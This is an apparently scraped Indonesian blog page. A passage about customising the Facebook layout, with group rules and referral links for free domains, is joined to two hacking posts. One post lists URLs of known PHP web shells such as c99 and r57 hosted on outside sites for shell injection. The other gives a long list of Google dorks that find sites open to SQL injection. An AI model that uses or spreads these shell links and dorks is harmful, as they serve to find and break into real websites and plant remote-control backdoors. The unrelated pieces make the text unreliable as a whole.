1. Pada Browser Opera, Hapus File ber-ekstensi .js yang Anda Simpan (Lihat panduan pemasangan CARA 4 di atas)
2. Restart Opera dan Lihat Hasilnya pada Halaman Facebook Anda


--------------------------------------------------------------------------
MANFAAT BERGABUNG GRUP INI:
--------------------------------------------------------------------------

1. ANDA AKAN MENDAPATKAN UPDATE INFORMASI MENGENAI TAMPILAN FACEBOOK.
2. ANDA AKAN DIBANTU MENSETTING DAN MENGHAPUS TAMPILAN FACEBOOK ANDA.
3. ANDA DAPAT MEMBERIKAN MASUKAN DAN SARAN TENTANG PERUBAHAN TAMPILAN FACEBOOK UNTUK DI SHARE DENGAN ANGGOTA GRUP LAIN.
4. ANDA DAPAT BERBAGI SCREENSHOOT TAMPILAN BARU ANDA MELALUI ALBUM FOTO YANG BISA DILIHAT OLEH SEMUA ANGGOTA GRUP.
5. ANDA DAPAT MEMBERIKAN KELUHAN DAN SARAN ANDA MELALUI FORUM DISKUSI.




***********
DOWNLOAD BROWSER COMPATIBLE
***********
1. Opera 9.6.4 : http://opera.tradebit.com/pub/win/964/en/Opera_964_en_Setup.exe
2. Mozilla Firefox 3.5 : http://www.mozilla.com/products/download.html?product=firefox-3.5&os=win〈=en-US
3. Internet Explorer 8 (ID) : http://www.microsoft.com/windows/internet-explorer/worldwide-sites.aspx





GOOD LUCK!!!


.............!
... .......(0 0)
.---oOO-- (_)-----.
╔═══════════════════╗
║ INVITE ALL YOUR FRIENDS ║
╚═══════════════════╝
'---------------oOO
........|__|__|
.......... || ||
....... ooO Ooo


---------------------------------
TERMS OF SERVICE (TOS) :
---------------------------------

TO NEW MEMBER

JOIN IKUTI PETUNJUK & KEBIJAKAN GROUP

- FREE COMMENTS (TANPA UNSUR SARA & POLITIK)
- SEARCH FRIEND'S FROM GROUP
- JUNJUNG TINGGI TALI PERSAHABATAN & PERTEMANAN
- FREE UPLOAD (TANPA UNSUR SARA & POLITIK)
- PEACE & LOVE
- ALBUM FOTO HANYA DIPERUNTUKKAN UNTUK MEMASANG FOTO HASIL SCREENSHOOT TAMPILAN FACEBOOK YANG TELAH BERHASIL DIRUBAH, TIDAK UNTUK KEPENTINGAN PRIBADI

BY : Zaka Ardiansyah (Admin group)


----------------------------------------------------------
INFO BUAT PARA BLOGGER (Newbie) :
----------------------------------------------------------
-Dapatkan Domain Secara Gratis (.net .com & .org)
-Situs Anda yang semula http://andre.blogspot.com akan bisa menjadi http://www.andre.com

-Selengkapnya Langsung Daftar aja di: http://www.freedomainsbox.com/signup.php?rid=2e34
(Domain Gratis ini menggunakan sistem Poin, kita diharuskan mengumpulkan 7 Poin untuk mendapatkan domain .com .net & .org dan setelah mendapat Domain .com kita bisa membuak account di http://name.com untuk hosting dan control panel gratis)

Keterangan Lihat di : http://translate.google.com/translate?prev=hp&hl=en&js=y&u=http%3A%2F%2Fwww.freedomainsbox.com%2Ffaq.php&sl=en&tl=id&history_state0=

Atau yang kedua dari FreePemiumDomain:
http://www.FreePremiumDomain.com/?r=85585
Anda hanya diharuskan Mengajak 9 Orang Untuk mendapatkan domain .com .net & .org gratis

Semoga Berhasil
-------------------------------------ii----------------------------------

Shell injection

Posted on 08.19 by CS-31

http://localshell.net/c99.txt
http://localshell.net/r57.txt
http://localshell.net/c100.txt
http://localshell.net/safe0ver.txt
http://localshell.net/sosyete.txt
http://localshell.net/erne.txt
http://localshell.net/liz0zim.txt
http://localshell.net/stresbypass.txt
http://localshell.net/kacak.txt
http://localshell.net/ekin0x.txt
http://localshell.net/heykir.txt
http://localshell.net/spybypass.txt
http://localshell.net/zehir4.txt
http://localshell.net/simattacker.txt
http://localshell.net/mysql.txt
http://localshell.net/remview.txt
http://localshell.net/ajax.txt
http://localshell.net/antichat.txt
http://localshell.net/aspx.txt
http://localshell.net/worse.txt
http://localshell.net/dive.txt
http://localshell.net/fso.txt
http://securitywall.org/locus.txt
http://securitywall.org/2009.txt
http://securitywall.org/priv2.txt
http://securitywall.org/cgi-telnet.txt
http://securitywall.org/r57.txt
http://securitywall.org/c99.txt

SQL DORKS LIST + VULN SITE

Posted on 08.06 by CS-31

inurl:index.php?id=
inurl:trainers.php?id=
inurl:buy.php?category=
inurl:article.php?ID=
inurl:play_old.php?id=
inurl:declaration_more.php?decl_id=
inurl:Pageid=
inurl:games.php?id=
inurl:page.php?file=
inurl:newsDetail.php?id=
inurl:gallery.php?id=
inurl:article.php?id=
inurl:show.php?id=
inurl:staff_id=
inurl:newsitem.php?num=
inurl:readnews.php?id=
inurl:top10.php?cat=
inurl:historialeer.php?num=
inurl:reagir.php?num=
inurl:forum_bds.php?num=
inurl:game.php?id=
inurl:view_product.php?id=
inurl:newsone.php?id=
inurl:sw_comment.php?id=
inurl:news.php?id=
inurl:avd_start.php?avd=
inurl:event.php?id=
inurl:product-item.php?id=
inurl:sql.php?id=
inurl:news_view.php?id=
inurl:select_biblio.php?id=
inurl:humor.php?id=
inurl:aboutbook.php?id=
inurl:fiche_spectacle.php?id=
inurl:communique_detail.php?id=
inurl:sem.php3?id=
inurl:kategorie.php4?id=
inurl:news.php?id=
inurl:index.php?id=
inurl:faq2.php?id=
inurl:show_an.php?id=
inurl:preview.php?id=
inurl:loadpsb.php?id=
inurl:opinions.php?id=
inurl:spr.php?id=
inurl:pages.php?id=
inurl:announce.php?id=
inurl:clanek.php4?id=
inurl:participant.php?id=
inurl:download.php?id=
inurl:main.php?id=
inurl:review.php?id=
inurl:chappies.php?id=
inurl:read.php?id=
inurl:prod_detail.php?id=
inurl:viewphoto.php?id=
inurl:article.php?id=
inurl:person.php?id=
inurl:productinfo.php?id=
inurl:showimg.php?id=
inurl:view.php?id=
inurl:website.php?id=
inurl:hosting_info.php?id=
inurl:gallery.php?id=
inurl:rub.php?idr=
inurl:view_faq.php?id=
inurl:artikelinfo.php?id=
inurl:detail.php?ID=
inurl:index.php?=
inurl:profile_view.php?id=
inurl:category.php?id=
inurl:publications.php?id=
inurl:fellows.php?id=
inurl:downloads_info.php?id=
inurl:prod_info.php?id=
inurl:shop.php?do=part&id=
inurl:Productinfo.php?id=
inurl:collectionitem.php?id=
inurl:band_info.php?id=
inurl:product.php?id=
inurl:releases.php?id=
inurl:ray.php?id=
inurl:produit.php?id=
inurl:pop.php?id=
inurl:shopping.php?id=
inurl:productdetail.php?id=
inurl:post.php?id=
inurl:viewshowdetail.php?id=
inurl:clubpage.php?id=
inurl:memberInfo.php?id=
inurl:section.php?id=
inurl:theme.php?id=
inurl:page.php?id=
inurl:shredder-categories.php?id=
inurl:tradeCategory.php?id=
inurl:product_ranges_view.php?ID=
inurl:shop_category.php?id=
inurl:transcript.php?id=
inurl:channel_id=
inurl:item_id=
inurl:newsid=
inurl:trainers.php?id=
inurl:news-full.php?id=
inurl:news_display.php?getid=
inurl:index2.php?option=
inurl:readnews.php?id=
inurl:top10.php?cat=
inurl:newsone.php?id=
inurl:event.php?id=
inurl:product-item.php?id=
inurl:sql.php?id=
inurl:aboutbook.php?id=
inurl:review.php?id=
inurl:loadpsb.php?id=
inurl:ages.php?id=
inurl:material.php?id=
inurl:clanek.php4?id=
inurl:announce.php?id=
inurl:chappies.php?id=
inurl:read.php?id=
inurl:viewapp.php?id=
inurl:viewphoto.php?id=
inurl:rub.php?idr=
inurl:galeri_info.php?l=
inurl:review.php?id=
inurl:iniziativa.php?in=
inurl:curriculum.php?id=
inurl:labels.php?id=
inurl:story.php?id=
inurl:look.php?ID=
inurl:newsone.php?id=
inurl:aboutbook.php?id=
inurl:material.php?id=
inurl:opinions.php?id=
inurl:announce.php?id=
inurl:rub.php?idr=
inurl:galeri_info.php?l=
inurl:tekst.php?idt=
inurl:newscat.php?id=
inurl:newsticker_info.php?idn=
inurl:rubrika.php?idr=
inurl:rubp.php?idr=
inurl:offer.php?idf=
inurl:art.php?idm=
inurl:title.php?id=

inurl:"id=" & intext:"Warning: mysql_fetch_assoc()
inurl:"id=" & intext:"Warning: mysql_fetch_array()
inurl:"id=" & intext:"Warning: mysql_num_rows()
inurl:"id=" & intext:"Warning: session_start()
inurl:"id=" & intext:"Warning: getimagesize()
inurl:"id=" & intext:"Warning: is_writable()
inurl:"id=" & intext:"Warning: getimagesize()
inurl:"id=" & intext:"Warning: Unknown()
inurl:"id=" & intext:"Warning: session_start()
inurl:"id=" & intext:"Warning: mysql_result()
inurl:"id=" & intext:"Warning: pg_exec()
inurl:"id=" & intext:"Warning: mysql_result()
inurl:"id=" & intext:"Warning: mysql_num_rows()
inurl:"id=" & intext:"Warning: mysql_query()
inurl:"id=" & intext:"Warning: array_merge()
inurl:"id=" & intext:"Warning: preg_match()
inurl:"id=" & intext:"Warning: ilesize()
inurl:"id=" & intext:"Warning: filesize()
inurl:"id=" & intext:"Warning: filesize()
inurl:"id=" & intext:"Warning: require()